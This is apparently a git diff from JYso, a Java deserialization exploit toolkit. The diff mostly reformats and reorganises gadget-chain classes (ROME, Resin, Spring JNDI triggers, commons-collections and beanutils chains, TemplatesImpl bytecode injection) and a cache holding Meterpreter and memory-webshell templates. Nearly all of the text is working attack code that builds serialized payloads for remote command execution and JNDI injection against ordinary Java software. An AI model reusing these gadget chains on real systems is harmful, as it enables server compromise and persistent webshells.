Class<? extends ObjectPayload> pc = iterator.next();
if (pc.isInterface() || Modifier.isAbstract(pc.getModifiers())) {
iterator.remove();
}
}
@SuppressWarnings("unchecked")
final Set<Class<? extends ObjectPayload<?>>> payloadTypes =
(Set<Class<? extends ObjectPayload<?>>>) (Set<?>)
reflections.getSubTypesOf(ObjectPayload.class);
payloadTypes.removeIf(pc -> pc.isInterface() || Modifier.isAbstract(pc.getModifiers()));
return payloadTypes;
}
@SuppressWarnings("unchecked")
public static Class<? extends ObjectPayload> getPayloadClass(final String className) {
Class<? extends ObjectPayload> clazz = null;
public static Class<? extends ObjectPayload<?>> getPayloadClass(final String className) {
Class<? extends ObjectPayload<?>> clazz = null;
try {
clazz = (Class<? extends ObjectPayload>) Class.forName(className);
clazz = (Class<? extends ObjectPayload<?>>) Class.forName(className);
} catch (Exception ignored) {
}
if (clazz == null) {
try {
return clazz = (Class<? extends ObjectPayload>) Class.forName(LdapServer.class.getPackage().getName() + ".gadgets." + className);
}catch (NoClassDefFoundError e) {
clazz = caseInsensitiveObjectPayloadMap.get(LdapServer.class.getPackage().getName() + ".gadgets." + className);
}
catch (Exception ignored) {
return (Class<? extends ObjectPayload<Object>>) Class.forName(LdapServer.class.getPackage().getName() + ".gadgets." + className);
} catch (NoClassDefFoundError | Exception e) {
clazz = caseInsensitiveObjectPayloadMap.get(LdapServer.class.getPackage().getName() + ".gadgets." + className);
}
}
@@ -62,30 +52,13 @@ public interface ObjectPayload<T> {
}
@SuppressWarnings("unchecked")
public static void releasePayload(ObjectPayload payload, Object object) throws Exception {
public static void releasePayload(ObjectPayload<?> payload, Object object) throws Exception {
if (payload instanceof ReleaseableObjectPayload) {
((ReleaseableObjectPayload) payload).release(object);
((ReleaseableObjectPayload<?>) payload).release(object);
}
}
public static void releasePayload(String payloadType, Object payloadObject) {
final Class<? extends ObjectPayload> payloadClass = getPayloadClass(payloadType);
if (payloadClass == null || !ObjectPayload.class.isAssignableFrom(payloadClass)) {
throw new IllegalArgumentException("Invalid payload type '" + payloadType + "'");
}
try {
final ObjectPayload payload = payloadClass.newInstance();
releasePayload(payload, payloadObject);
} catch (Exception e) {
e.printStackTrace();
}
}
//生成随机字符
public static String generateRandomString(int length) {
String characters = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789";
src/main/java/com/qi4l/JYso/gadgets/ROME3.java
+1 -1
View File
@@ -11,7 +11,7 @@ import javax.xml.transform.Templates;
@Authors({"Firebasky"})
@Dependencies("rome:rome:1.0")
public class ROME3 implements ObjectPayload<Object>{
public class ROME3 implements ObjectPayload<Object> {
@Override
public Object getObject(String command) throws Exception {
Object o = Gadgets.createTemplatesImpl(command);
src/main/java/com/qi4l/JYso/gadgets/ROMEJDBC.java
+9 -9
View File
@@ -7,6 +7,15 @@ import com.sun.rowset.JdbcRowSetImpl;
public class ROMEJDBC implements ObjectPayload<Object> {
// Assuming JDKUtil class with makeJNDIRowSet method
public static JdbcRowSetImpl makeJNDIRowSet(String jndiUrl) throws Exception {
JdbcRowSetImpl rs = new JdbcRowSetImpl();
rs.setDataSourceName(jndiUrl);
rs.setMatchColumn("foo");
Reflections.getField(javax.sql.rowset.BaseRowSet.class, "listeners").set(rs, null);
return rs;
}
@Override
public Object getObject(String command) throws Exception {
// Assuming makeJNDIRowSet is a static method in JDKUtil
@@ -23,13 +32,4 @@ public class ROMEJDBC implements ObjectPayload<Object> {
return JDKUtil.makeMap(o1, o1); // Assuming JDKUtil.makeMap returns a Map or similar object
}
// Assuming JDKUtil class with makeJNDIRowSet method
public static JdbcRowSetImpl makeJNDIRowSet(String jndiUrl) throws Exception {
JdbcRowSetImpl rs = new JdbcRowSetImpl();
rs.setDataSourceName(jndiUrl);
rs.setMatchColumn("foo");
Reflections.getField(javax.sql.rowset.BaseRowSet.class, "listeners").set(rs, null);
return rs;
}
}
src/main/java/com/qi4l/JYso/gadgets/ReleaseableObjectPayload.java
+1 -1
View File
@@ -2,5 +2,5 @@ package com.qi4l.JYso.gadgets;
public interface ReleaseableObjectPayload<T> extends ObjectPayload<T> {
void release(T obj) throws Exception;
void release(Object obj) throws Exception;
}
src/main/java/com/qi4l/JYso/gadgets/Resin.java
+40 -40
View File
@@ -11,12 +11,50 @@ import java.lang.reflect.Constructor;
import java.net.URI;
import java.util.Hashtable;
public class Resin implements ObjectPayload<Object>{
public class Resin implements ObjectPayload<Object> {
public static Object makeToStringTrigger(Object o) throws Exception {
String unhash = unhash(o.hashCode());
XString xString = new XString(unhash);
return JDKUtil.makeMap(o, xString);
}
public static String unhash(int hash) {
int target = hash;
StringBuilder answer = new StringBuilder();
if (target < 0) {
// String with hash of Integer.MIN_VALUE, 0x80000000
answer.append("\\u0915\\u0009\\u001e\\u000c\\u0002");
if (target == Integer.MIN_VALUE)
return answer.toString();
// Find target without sign bit set
target = target & Integer.MAX_VALUE;
}
unhash0(answer, target);
return answer.toString();
}
private static void unhash0(StringBuilder partial, int target) {
int div = target / 31;
int rem = target % 31;
if (div <= Character.MAX_VALUE) {
if (div != 0)
partial.append((char) div);
partial.append((char) rem);
} else {
unhash0(partial, div);
partial.append((char) rem);
}
}
@Override
public Object getObject(String command) throws Exception {
//需要处理command
return makeResinQName(command);
}
public Object makeResinQName(String command) throws Exception {
Class<?> ccCl = Class.forName("javax.naming.spi.ContinuationDirContext"); //$NON-NLS-1$
Constructor<?> ccCons = ccCl.getDeclaredConstructor(CannotProceedException.class, Hashtable.class);
@@ -27,7 +65,7 @@ public class Resin implements ObjectPayload<Object>{
//考虑换成其他的
URI uri = new URI(command);
String args[] = {uri.getScheme() + "://" + uri.getAuthority(), uri.getPath().substring(1)};
cpe.setResolvedObj(new Reference("Foo", args[ 1 ], args[ 0 ]));
cpe.setResolvedObj(new Reference("Foo", args[1], args[0]));
Reflections.setFieldValue(cpe, "suppressedExceptions", null);
DirContext ctx = (DirContext) ccCons.newInstance(cpe, new Hashtable<>());
@@ -35,42 +73,4 @@ public class Resin implements ObjectPayload<Object>{
return makeToStringTrigger(qName);
}
public static Object makeToStringTrigger ( Object o ) throws Exception {
String unhash = unhash(o.hashCode());
XString xString = new XString(unhash);
return JDKUtil.makeMap(o, xString);
}
public static String unhash ( int hash ) {
int target = hash;
StringBuilder answer = new StringBuilder();
if ( target < 0 ) {
// String with hash of Integer.MIN_VALUE, 0x80000000
answer.append("\\u0915\\u0009\\u001e\\u000c\\u0002");
if ( target == Integer.MIN_VALUE )
return answer.toString();
// Find target without sign bit set
target = target & Integer.MAX_VALUE;
}
unhash0(answer, target);
return answer.toString();
}
private static void unhash0 ( StringBuilder partial, int target ) {
int div = target / 31;
int rem = target % 31;
if ( div <= Character.MAX_VALUE ) {
if ( div != 0 )
partial.append((char) div);
partial.append((char) rem);
}
else {
unhash0(partial, div);
partial.append((char) rem);
}
}
}
src/main/java/com/qi4l/JYso/gadgets/ServiceLoader.java
+5 -4
View File
@@ -2,7 +2,11 @@ package com.qi4l.JYso.gadgets;
import javax.script.ScriptEngineFactory;
public class ServiceLoader implements ObjectPayload<Object>{
public class ServiceLoader implements ObjectPayload<Object> {
public static Object makeServiceLoader(UtilFactory uf, String[] args) throws Exception {
return uf.makeIteratorTrigger(JDKUtil.makeServiceIterator(JDKUtil.makeURLClassLoader(args[0]), ScriptEngineFactory.class));
}
@Override
public Object getObject(String command) throws Exception {
UtilFactory uf = new UtilFactory();
@@ -10,7 +14,4 @@ public class ServiceLoader implements ObjectPayload<Object>{
return makeServiceLoader(uf, args);
}
public static Object makeServiceLoader ( UtilFactory uf, String[] args ) throws Exception {
return uf.makeIteratorTrigger(JDKUtil.makeServiceIterator(JDKUtil.makeURLClassLoader(args[0]), ScriptEngineFactory.class));
}
}
src/main/java/com/qi4l/JYso/gadgets/SpringAbstractBeanFactoryPointcutAdvisor.java
+16 -14
View File
@@ -6,29 +6,31 @@ import org.springframework.aop.support.DefaultBeanFactoryPointcutAdvisor;
import org.springframework.beans.factory.BeanFactory;
import org.springframework.jndi.support.SimpleJndiBeanFactory;
public class SpringAbstractBeanFactoryPointcutAdvisor implements ObjectPayload<Object>{
@Override
public Object getObject(String command) throws Exception {
return makeBeanFactoryPointcutAdvisor(command);
}
public Object makeBeanFactoryPointcutAdvisor (String args ) throws Exception {
String jndiUrl = args;
UtilFactory uf = new UtilFactory();
BeanFactory bf = makeJNDITrigger(jndiUrl);
return makeBeanFactoryTriggerBFPA(uf,jndiUrl, bf);
}
public static Object makeBeanFactoryTriggerBFPA (UtilFactory uf,String name, BeanFactory bf ) throws Exception {
public class SpringAbstractBeanFactoryPointcutAdvisor implements ObjectPayload<Object> {
public static Object makeBeanFactoryTriggerBFPA(UtilFactory uf, String name, BeanFactory bf) throws Exception {
DefaultBeanFactoryPointcutAdvisor pcadv = new DefaultBeanFactoryPointcutAdvisor();
pcadv.setBeanFactory(bf);
pcadv.setAdviceBeanName(name);
return uf.makeEqualsTrigger(pcadv, new DefaultBeanFactoryPointcutAdvisor());
}
public static BeanFactory makeJNDITrigger ( String jndiUrl ) throws Exception {
public static BeanFactory makeJNDITrigger(String jndiUrl) throws Exception {
SimpleJndiBeanFactory bf = new SimpleJndiBeanFactory();
bf.setShareableResources(jndiUrl);
Reflections.setFieldValue(bf, "logger", new NoOpLog());
Reflections.setFieldValue(bf.getJndiTemplate(), "logger", new NoOpLog());
return bf;
}
@Override
public Object getObject(String command) throws Exception {
return makeBeanFactoryPointcutAdvisor(command);
}
public Object makeBeanFactoryPointcutAdvisor(String args) throws Exception {
String jndiUrl = args;
UtilFactory uf = new UtilFactory();
BeanFactory bf = makeJNDITrigger(jndiUrl);
return makeBeanFactoryTriggerBFPA(uf, jndiUrl, bf);
}
}
src/main/java/com/qi4l/JYso/gadgets/SpringPartiallyComparableAdvisorHolder.java
+15 -13
View File
@@ -12,18 +12,8 @@ import org.springframework.jndi.support.SimpleJndiBeanFactory;
import java.lang.reflect.InvocationTargetException;
public class SpringPartiallyComparableAdvisorHolder implements ObjectPayload<Object>{
@Override
public Object getObject(String command) throws Exception {
return makePartiallyComparableAdvisorHolder(command);
}
public Object makePartiallyComparableAdvisorHolder (String args ) throws Exception {
String jndiUrl = args;
UtilFactory uf = new UtilFactory();
BeanFactory bf = makeJNDITrigger(jndiUrl);
return makeBeanFactoryTriggerPCAH(uf, jndiUrl, bf);
}
public static BeanFactory makeJNDITrigger (String jndiUrl ) throws Exception {
public class SpringPartiallyComparableAdvisorHolder implements ObjectPayload<Object> {
public static BeanFactory makeJNDITrigger(String jndiUrl) throws Exception {
SimpleJndiBeanFactory bf = new SimpleJndiBeanFactory();
bf.setShareableResources(jndiUrl);
Reflections.setFieldValue(bf, "logger", new NoOpLog());
@@ -31,7 +21,7 @@ public class SpringPartiallyComparableAdvisorHolder implements ObjectPayload<Obj
return bf;
}
public static Object makeBeanFactoryTriggerPCAH ( UtilFactory uf, String name, BeanFactory bf ) throws ClassNotFoundException,
public static Object makeBeanFactoryTriggerPCAH(UtilFactory uf, String name, BeanFactory bf) throws ClassNotFoundException,
NoSuchMethodException, InstantiationException, IllegalAccessException, InvocationTargetException, Exception {
AspectInstanceFactory aif = Reflections.createWithoutConstructor(BeanFactoryAspectInstanceFactory.class);
Reflections.setFieldValue(aif, "beanFactory", bf);
@@ -54,5 +44,17 @@ public class SpringPartiallyComparableAdvisorHolder implements ObjectPayload<Obj
return uf.makeToStringTriggerUnstable(pcah);
}
@Override
public Object getObject(String command) throws Exception {
return makePartiallyComparableAdvisorHolder(command);
}
public Object makePartiallyComparableAdvisorHolder(String args) throws Exception {
String jndiUrl = args;
UtilFactory uf = new UtilFactory();
BeanFactory bf = makeJNDITrigger(jndiUrl);
return makeBeanFactoryTriggerPCAH(uf, jndiUrl, bf);
}
}
src/main/java/com/qi4l/JYso/gadgets/SpringPropertyPathFactory.java
+1 -4
View File
@@ -1,13 +1,10 @@
package com.qi4l.JYso.gadgets;
import com.qi4l.JYso.gadgets.utils.Reflections;
import org.apache.commons.logging.impl.NoOpLog;
import org.springframework.aop.support.DefaultBeanFactoryPointcutAdvisor;
import org.springframework.beans.factory.BeanFactory;
import org.springframework.beans.factory.config.PropertyPathFactoryBean;
import org.springframework.jndi.support.SimpleJndiBeanFactory;
public class SpringPropertyPathFactory implements ObjectPayload<Object>{
public class SpringPropertyPathFactory implements ObjectPayload<Object> {
@Override
public Object getObject(String command) throws Exception {
String jndiUrl = command;
src/main/java/com/qi4l/JYso/gadgets/SpringUtil.java
+7 -6
View File
@@ -28,10 +28,11 @@ public final class SpringUtil {
/**
*
*/
private SpringUtil() {}
private SpringUtil() {
}
public static BeanFactory makeJNDITrigger ( String jndiUrl ) throws Exception {
public static BeanFactory makeJNDITrigger(String jndiUrl) throws Exception {
SimpleJndiBeanFactory bf = new SimpleJndiBeanFactory();
bf.setShareableResources(jndiUrl);
Reflections.setFieldValue(bf, "logger", new NoOpLog());
@@ -40,7 +41,7 @@ public final class SpringUtil {
}
public static BeanFactory makeMethodTrigger ( Object o, String method ) throws Exception {
public static BeanFactory makeMethodTrigger(Object o, String method) throws Exception {
DefaultListableBeanFactory bf = new DefaultListableBeanFactory();
RootBeanDefinition caller = new RootBeanDefinition();
@@ -56,14 +57,14 @@ public final class SpringUtil {
Reflections.getField(DefaultListableBeanFactory.class, "logger").set(bf, new NoOpLog());
Reflections.getField(DefaultListableBeanFactory.class, "prototypesCurrentlyInCreation").set(bf, new ThreadLocal<>());
@SuppressWarnings ( "unchecked" )
@SuppressWarnings("unchecked")
Map<String, Object> objs = (Map<String, Object>) Reflections.getFieldValue(bf, "singletonObjects");
objs.put("obj", o);
return bf;
}
public static Object makeBeanFactoryTriggerBFPA ( UtilFactory uf, String name, BeanFactory bf ) throws Exception {
public static Object makeBeanFactoryTriggerBFPA(UtilFactory uf, String name, BeanFactory bf) throws Exception {
DefaultBeanFactoryPointcutAdvisor pcadv = new DefaultBeanFactoryPointcutAdvisor();
pcadv.setBeanFactory(bf);
pcadv.setAdviceBeanName(name);
@@ -82,7 +83,7 @@ public final class SpringUtil {
* @throws InvocationTargetException
* @throws Exception
*/
public static Object makeBeanFactoryTriggerPCAH ( UtilFactory uf, String name, BeanFactory bf ) throws ClassNotFoundException,
public static Object makeBeanFactoryTriggerPCAH(UtilFactory uf, String name, BeanFactory bf) throws ClassNotFoundException,
NoSuchMethodException, InstantiationException, IllegalAccessException, InvocationTargetException, Exception {
AspectInstanceFactory aif = Reflections.createWithoutConstructor(BeanFactoryAspectInstanceFactory.class);
Reflections.setFieldValue(aif, "beanFactory", bf);
src/main/java/com/qi4l/JYso/gadgets/TemplatesUtil.java
+30 -31
View File
@@ -18,6 +18,8 @@ import java.io.Serializable;
import static com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl.DESERIALIZE_TRANSLET;
public class TemplatesUtil {
public static final String ANN_INV_HANDLER_CLASS = "sun.reflect.annotation.AnnotationInvocationHandler";
static {
// special case for using TemplatesImpl gadgets with a SecurityManager enabled
System.setProperty(DESERIALIZE_TRANSLET, "true");
@@ -26,30 +28,8 @@ public class TemplatesUtil {
System.setProperty("java.rmi.server.useCodebaseOnly", "false");
}
public static final String ANN_INV_HANDLER_CLASS = "sun.reflect.annotation.AnnotationInvocationHandler";
public static class StubTransletPayload extends AbstractTranslet implements Serializable {
private static final long serialVersionUID = -5971610431559700674L;
@Override
public void transform (DOM document, SerializationHandler[] handlers ) throws TransletException {}
@Override
public void transform (DOM document, DTMAxisIterator iterator, SerializationHandler handler ) throws TransletException {}
}
// required to make TemplatesImpl happy
public static class Foo implements Serializable {
private static final long serialVersionUID = 8207363842866235160L;
}
public static Object createTemplatesImpl ( final String[] args ) throws Exception {
if ( Boolean.parseBoolean(System.getProperty("upstreamXalan", "false")) ) {
public static Object createTemplatesImpl(final String[] args) throws Exception {
if (Boolean.parseBoolean(System.getProperty("upstreamXalan", "false"))) {
return createTemplatesImpl(
args,
Class.forName("org.apache.xalan.xsltc.trax.TemplatesImpl"),
@@ -60,8 +40,7 @@ public class TemplatesUtil {
return createTemplatesImpl(args, TemplatesImpl.class, AbstractTranslet.class, TransformerFactoryImpl.class);
}
public static <T> T createTemplatesImpl ( final String[] args, Class<T> tplClass, Class<?> abstTranslet, Class<?> transFactory )
public static <T> T createTemplatesImpl(final String[] args, Class<T> tplClass, Class<?> abstTranslet, Class<?> transFactory)
throws Exception {
final T templates = tplClass.newInstance();
@@ -75,12 +54,11 @@ public class TemplatesUtil {
StringBuilder sb = new StringBuilder();
boolean first = true;
for ( String arg : args ) {
for (String arg : args) {
if ( !first ) {
if (!first) {
sb.append(',');
}
else {
} else {
first = false;
}
@@ -98,7 +76,7 @@ public class TemplatesUtil {
final byte[] classBytes = clazz.toBytecode();
// inject class bytes into instance
Reflections.setFieldValue(templates, "_bytecodes", new byte[][] {
Reflections.setFieldValue(templates, "_bytecodes", new byte[][]{
classBytes, ClassFiles.classAsBytes(Foo.class)
});
@@ -107,4 +85,25 @@ public class TemplatesUtil {
Reflections.setFieldValue(templates, "_tfactory", transFactory.newInstance());
return templates;
}
public static class StubTransletPayload extends AbstractTranslet implements Serializable {
private static final long serialVersionUID = -5971610431559700674L;
@Override
public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {
}
@Override
public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {
}
}
// required to make TemplatesImpl happy
public static class Foo implements Serializable {
private static final long serialVersionUID = 8207363842866235160L;
}
}
src/main/java/com/qi4l/JYso/gadgets/ToStringUtil.java
+11 -12
View File
@@ -11,21 +11,21 @@ import java.util.function.Function;
public class ToStringUtil {
public static Object makeToStringTrigger ( Object o, Function<Object, Object> wrap ) throws Exception {
public static Object makeToStringTrigger(Object o, Function<Object, Object> wrap) throws Exception {
String unhash = unhash(o.hashCode());
XString xString = new XString(unhash);
return JDKUtil.makeMap(wrap.apply(o), wrap.apply(xString));
}
public static Object makeToStringTrigger ( Object o ) throws Exception {
public static Object makeToStringTrigger(Object o) throws Exception {
String unhash = unhash(o.hashCode());
XString xString = new XString(unhash);
return JDKUtil.makeMap(o, xString);
}
public static Object makeJohnzonToStringTrigger ( Object o ) throws Exception {
public static Object makeJohnzonToStringTrigger(Object o) throws Exception {
Class<?> clz = Class.forName("org.apache.johnzon.core.JsonObjectImpl"); //$NON-NLS-1$
Constructor<?> dec = clz.getDeclaredConstructor(Map.class);
dec.setAccessible(true);
@@ -37,21 +37,21 @@ public class ToStringUtil {
}
public static Object makeSpringAOPToStringTrigger ( Object o ) throws Exception {
public static Object makeSpringAOPToStringTrigger(Object o) throws Exception {
return makeToStringTrigger(o, x -> {
return new HotSwappableTargetSource(x);
});
}
public static String unhash ( int hash ) {
public static String unhash(int hash) {
int target = hash;
StringBuilder answer = new StringBuilder();
if ( target < 0 ) {
if (target < 0) {
// String with hash of Integer.MIN_VALUE, 0x80000000
answer.append("\\u0915\\u0009\\u001e\\u000c\\u0002");
if ( target == Integer.MIN_VALUE )
if (target == Integer.MIN_VALUE)
return answer.toString();
// Find target without sign bit set
target = target & Integer.MAX_VALUE;
@@ -62,16 +62,15 @@ public class ToStringUtil {
}
private static void unhash0 ( StringBuilder partial, int target ) {
private static void unhash0(StringBuilder partial, int target) {
int div = target / 31;
int rem = target % 31;
if ( div <= Character.MAX_VALUE ) {
if ( div != 0 )
if (div <= Character.MAX_VALUE) {
if (div != 0)
partial.append((char) div);
partial.append((char) rem);
}
else {
} else {
unhash0(partial, div);
partial.append((char) rem);
}
src/main/java/com/qi4l/JYso/gadgets/UtilFactory.java
+1 -1
View File
@@ -13,7 +13,7 @@ public class UtilFactory {
return JDKUtil.makeMap(tgt, sameHash);
}
public Object makeToStringTriggerUnstable ( Object obj ) throws Exception {
public Object makeToStringTriggerUnstable(Object obj) throws Exception {
return ToStringUtil.makeSpringAOPToStringTrigger(obj);
}
src/main/java/com/qi4l/JYso/gadgets/Wicket1.java
+1 -1
View File
@@ -96,7 +96,7 @@ public class Wicket1 implements ReleaseableObjectPayload<DiskFileItem> {
}
@Override
public void release(DiskFileItem obj) throws Exception {
public void release(Object obj) throws Exception {
}
}
src/main/java/com/qi4l/JYso/gadgets/Xbean.java
+1 -1
View File
@@ -8,7 +8,7 @@ import javax.naming.Context;
import javax.naming.Reference;
import java.net.URI;
public class Xbean implements ObjectPayload<Object>{
public class Xbean implements ObjectPayload<Object> {
@Override
public Object getObject(String command) throws Exception {
//需要处理command
src/main/java/com/qi4l/JYso/gadgets/cb1183.java
+1 -2
View File
@@ -9,7 +9,6 @@ import org.apache.commons.beanutils.BeanComparator;
import java.util.PriorityQueue;
import static com.qi4l.JYso.gadgets.utils.InjShell.insertField;
@Dependencies({"commons-beanutils:commons-beanutils:1.8.3", "commons-beanutils:commons-beanutils:1.7X"})
@@ -24,7 +23,7 @@ public class cb1183 implements ObjectPayload<Object> {
insertField(ctClass, "serialVersionUID", "private static final long serialVersionUID = -3490850999041592962L;");
Class beanCompareClazz = ctClass.toClass();
Class<?> beanCompareClazz = ctClass.toClass();
BeanComparator comparator = (BeanComparator) beanCompareClazz.newInstance();
final PriorityQueue<Object> queue = new PriorityQueue<Object>(2, comparator);
queue.add("1");
src/main/java/com/qi4l/JYso/gadgets/cb160.java
-1
View File
@@ -9,7 +9,6 @@ import org.apache.commons.beanutils.BeanComparator;
import java.util.PriorityQueue;
import static com.qi4l.JYso.gadgets.utils.InjShell.insertField;
import static com.qi4l.JYso.gadgets.utils.jdk17Bypass.patchModule;
src/main/java/com/qi4l/JYso/gadgets/cb3183.java
+1 -1
View File
@@ -15,7 +15,7 @@ import static com.qi4l.JYso.gadgets.Config.Config.POOL;
import static com.qi4l.JYso.gadgets.utils.InjShell.insertField;
@Dependencies({"commons-beanutils:commons-beanutils:1.8.3", "commons-beanutils:commons-beanutils:1.7X"})
public class cb3183 implements ObjectPayload<Object>{
public class cb3183 implements ObjectPayload<Object> {
@Override
public Object getObject(String command) throws Exception {
String jndiURL = null;
src/main/java/com/qi4l/JYso/gadgets/cc10.java
-2
View File
@@ -15,8 +15,6 @@ import javax.xml.transform.Templates;
import java.util.HashMap;
import java.util.Map;
import static com.qi4l.JYso.gadgets.utils.jdk17Bypass.patchModule;
@Dependencies({"commons-collections:commons-collections:3.2.1"})
public class cc10 implements ObjectPayload<Object> {
src/main/java/com/qi4l/JYso/gadgets/cc12.java
+3 -4
View File
@@ -4,10 +4,9 @@ import com.qi4l.JYso.gadgets.annotation.Authors;
import com.qi4l.JYso.gadgets.annotation.Dependencies;
import com.qi4l.JYso.gadgets.utils.Reflections;
import com.qi4l.JYso.gadgets.utils.cc.TransformerUtil;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.DefaultedMap;
@@ -18,11 +17,11 @@ import java.util.Map;
@Dependencies({"commons-collections:commons-collections:3.2.1"})
@Authors({Authors.Jayl1n})
public class cc12 implements ObjectPayload<Object>{
public class cc12 implements ObjectPayload<Object> {
@Override
public Object getObject(String command) throws Exception {
final Transformer transformerChain = new ChainedTransformer(
new Transformer[]{ new ConstantTransformer(1) });
new Transformer[]{new ConstantTransformer(1)});
final Transformer[] transformers = TransformerUtil.makeTransformer(command);
final Map innerMap = new HashMap();
final Map defaultedmap = DefaultedMap.decorate(innerMap, transformerChain);
src/main/java/com/qi4l/JYso/gadgets/cc8.java
-7
View File
@@ -1,21 +1,14 @@
package com.qi4l.JYso.gadgets;
import com.fasterxml.jackson.databind.node.POJONode;
import com.qi4l.JYso.gadgets.annotation.Authors;
import com.qi4l.JYso.gadgets.annotation.Dependencies;
import com.qi4l.JYso.gadgets.utils.Gadgets;
import com.qi4l.JYso.gadgets.utils.Reflections;
import com.qi4l.JYso.gadgets.utils.jdk17Bypass;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import org.apache.commons.collections4.Transformer;
import org.apache.commons.collections4.bag.TreeBag;
import org.apache.commons.collections4.comparators.TransformingComparator;
import org.apache.commons.collections4.functors.InvokerTransformer;
import javax.swing.event.EventListenerList;
import java.lang.reflect.Field;
import java.lang.reflect.Method;
import java.util.ArrayList;
import java.util.Comparator;
src/main/java/com/qi4l/JYso/gadgets/springFs.java
+1 -1
View File
@@ -25,13 +25,13 @@ import java.util.HashMap;
import static com.qi4l.JYso.gadgets.JDKUtil.makeMap;
public class springFs implements ObjectPayload<Object>, Serializable {
public static ClassPool pool = ClassPool.getDefault();
// jdk7下使用badAttributeValueExpException,jdk8以上使用xString可打高版本JDK(jdk17)
public String toString = "badAttributeValueExpException";
// 低版本Spring-beans <5.3 -8835275493235412717
// 高版本Spring-beans >=5.3 -1515767093960859525"
public String serialVersionUID = "-1515767093960859525";
private Object inv;
public static ClassPool pool = ClassPool.getDefault();
@Override
public Object getObject(String command) throws Exception {
src/main/java/com/qi4l/JYso/gadgets/utils/Cache.java
+6 -6
View File
@@ -23,13 +23,13 @@ public class Cache {
static {
try {
//过期时间100年，永不过期的简单方法
map.put("TomcatEcho", Util.getClassBytes(TomcatEcho.class), 365 * 100, TimeUnit.DAYS);
map.put("SpringEcho", Util.getClassBytes(SpringEcho.class), 365 * 100, TimeUnit.DAYS);
map.put("JBossMemshellTemplate", Util.getClassBytes(JBFMSFromContextF.class), 365 * 100, TimeUnit.DAYS);
map.put("WebsphereMemshellTemplate", Util.getClassBytes(WebsphereMemshellTemplate.class), 365 * 100, TimeUnit.DAYS);
map.put("isOK", Util.getClassBytes(isOK.class), 365 * 100, TimeUnit.DAYS);
map.put("TomcatEcho", Utils.getClassBytes(TomcatEcho.class), 365 * 100, TimeUnit.DAYS);
map.put("SpringEcho", Utils.getClassBytes(SpringEcho.class), 365 * 100, TimeUnit.DAYS);
map.put("JBossMemshellTemplate", Utils.getClassBytes(JBFMSFromContextF.class), 365 * 100, TimeUnit.DAYS);
map.put("WebsphereMemshellTemplate", Utils.getClassBytes(WebsphereMemshellTemplate.class), 365 * 100, TimeUnit.DAYS);
map.put("isOK", Utils.getClassBytes(isOK.class), 365 * 100, TimeUnit.DAYS);
//测试添加到cache中
map.put("isSuccess", Util.getClassBytes(isSuccess.class), 365 * 100, TimeUnit.DAYS);
map.put("isSuccess", Utils.getClassBytes(isSuccess.class), 365 * 100, TimeUnit.DAYS);
map.put("Meterpreter", ClassByteChange.update(Meterpreter.class), 365 * 100, TimeUnit.DAYS);
} catch (Exception e) {
e.printStackTrace();
src/main/java/com/qi4l/JYso/gadgets/utils/ClassByteChange.java
+5 -12
View File
@@ -4,7 +4,10 @@ import com.qi4l.JYso.gadgets.Config.Config;
import com.qi4l.JYso.template.echoStatic.Meterpreter;
import javassist.*;
import java.io.*;
import java.io.File;
import java.io.FileInputStream;
import java.io.IOException;
import java.io.InputStream;
public class ClassByteChange {
@@ -47,17 +50,7 @@ public class ClassByteChange {
//替换原有的文件
cClass.writeFile(ap);
InputStream in = new FileInputStream(ap + File.separatorChar + "Meterpreter.class");
byte[] bytes = new byte[1024];
ByteArrayOutputStream baous = new ByteArrayOutputStream();
int len = 0;
while ((len = in.read(bytes)) != -1) {
baous.write(bytes, 0, len);
}
in.close();
baous.close();
return baous.toByteArray();
return Utils.getBytes(in);
}
src/main/java/com/qi4l/JYso/gadgets/utils/Gadgets.java
+5 -5
View File
@@ -15,7 +15,7 @@ import java.util.Hashtable;
import java.util.Map;
import static com.qi4l.JYso.gadgets.Config.Config.*;
import static com.qi4l.JYso.gadgets.utils.Utils.*;
import static com.qi4l.JYso.gadgets.utils.Utils.saveCtClassToFile;
import static com.qi4l.JYso.gadgets.utils.handle.ClassFieldHandler.insertField;
import static com.qi4l.JYso.gadgets.utils.handle.ClassMethodHandler.insertCMD;
import static com.qi4l.JYso.gadgets.utils.handle.ClassNameHandler.generateClassName;
@@ -305,10 +305,6 @@ public class Gadgets extends ClassLoader {
return s;
}
public Class<?> defineClass(String name, byte[] bytecode) {
return defineClass(name, bytecode, 0, bytecode.length);
}
public static Hashtable makeTableTstring(Object o) throws Exception {
Map tHashMap1 = (Map) Reflections.createWithoutConstructor("javax.swing.UIDefaults$TextAndMnemonicHashMap");
Map tHashMap2 = (Map) Reflections.createWithoutConstructor("javax.swing.UIDefaults$TextAndMnemonicHashMap");
@@ -346,4 +342,8 @@ public class Gadgets extends ClassLoader {
Reflections.setFieldValue(hashMap, "table", arr);
return hashMap;
}
public Class<?> defineClass(String name, byte[] bytecode) {
return defineClass(name, bytecode, 0, bytecode.length);
}
}
src/main/java/com/qi4l/JYso/gadgets/utils/InjShell.java
+1 -2
View File
@@ -253,14 +253,13 @@ public class InjShell {
}
//类加载方式，因类而异
public static String injectClass(Class clazz) {
String classCode = null;
try {
//获取base64后的类
classCode = Util.getClassCode(clazz);
classCode = Utils.getClassCode(clazz);
} catch (Exception e) {
e.printStackTrace();
src/main/java/com/qi4l/JYso/gadgets/utils/Reflections.java
+2 -5
View File
@@ -1,15 +1,10 @@
package com.qi4l.JYso.gadgets.utils;
import com.nqzero.permit.Permit;
import javassist.ClassClassPath;
import javassist.CtClass;
import sun.reflect.ReflectionFactory;
import java.lang.reflect.*;
import static com.qi4l.JYso.gadgets.Config.Config.POOL;
import static com.qi4l.JYso.gadgets.utils.InjShell.insertField;
@SuppressWarnings("restriction")
public class Reflections extends ClassLoader {
@@ -49,9 +44,11 @@ public class Reflections extends ClassLoader {
public static Object newInstance(String className, Object... args) throws Exception {
return getFirstCtor(className).newInstance(args);
}
public static Object createWithoutConstructor(String classname) throws ClassNotFoundException, InvocationTargetException, NoSuchMethodException, InstantiationException, IllegalAccessException {
